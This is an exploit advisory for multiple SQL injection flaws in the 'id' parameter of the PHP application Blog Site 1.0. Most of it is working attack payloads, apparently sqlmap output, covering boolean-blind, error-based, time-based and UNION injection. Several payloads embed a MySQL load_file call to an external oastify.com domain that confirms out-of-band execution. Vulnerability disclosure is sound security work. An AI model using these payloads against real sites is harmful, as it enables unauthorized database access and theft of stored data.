Blog Site 1.0 SQL Injection

`## Titles: blog-site-1.0 Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 07/29/2024  
## Vendor: https://github.com/oretnom23  
## Software:  
https://www.sourcecodester.com/php/14442/blog-site-using-phpmysql.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The id parameter appears to be vulnerable to SQL injection attacks. The  
payload '+(select load_file('\\\\  
turga9kvxwd8g46kuiim9id0srykmaa1dp4cv0k.oastify.com\\ywy'))+' was submitted  
in the id parameter. This payload injects a SQL sub-query that calls  
MySQL's load_file function with a UNC file path that references a URL on an  
external domain. The application interacted with that domain, indicating  
that the injected SQL query was executed.The attacker can get all  
information from the system by using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
  
[+]Exploits:  
- SQLi Multiple:  
```mysql  
---  
Parameter: id (GET)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: page=category&id=-7721' OR 5223=5223 AND 'yTLh'='yTLh  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload: page=category&id=3'+(select load_file('\\\\  
turga9kvxwd8g46kuiim9id0srykmaa1dp4cv0k.oastify.com\\ywy'))+'' AND (SELECT  
2233 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT  
(ELT(2233=2233,1))),0x716b626a71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Mgsn'='Mgsn  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: page=category&id=3'+(select load_file('\\\\  
turga9kvxwd8g46kuiim9id0srykmaa1dp4cv0k.oastify.com\\ywy'))+'' AND (SELECT  
5859 FROM (SELECT(SLEEP(7)))tvNV) AND 'ocCx'='ocCx  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 9 columns  
Payload: page=category&id=3'+(select load_file('\\\\  
turga9kvxwd8g46kuiim9id0srykmaa1dp4cv0k.oastify.com\\ywy'))+'' UNION ALL  
SELECT  
CONCAT(0x7171717671,0x416d7442627944704b55554267774f596d766967615341654a4242745a45467a71494f73596f776b,0x716b626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#  
---  
```  
  
## Reproduce:  
[href](https://www.patreon.com/posts/blog-site-1-0-108994688)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/07/blog-site-10-multiple-sqli.html)  
  
## Time spent:  
00:37:00  
  
  
`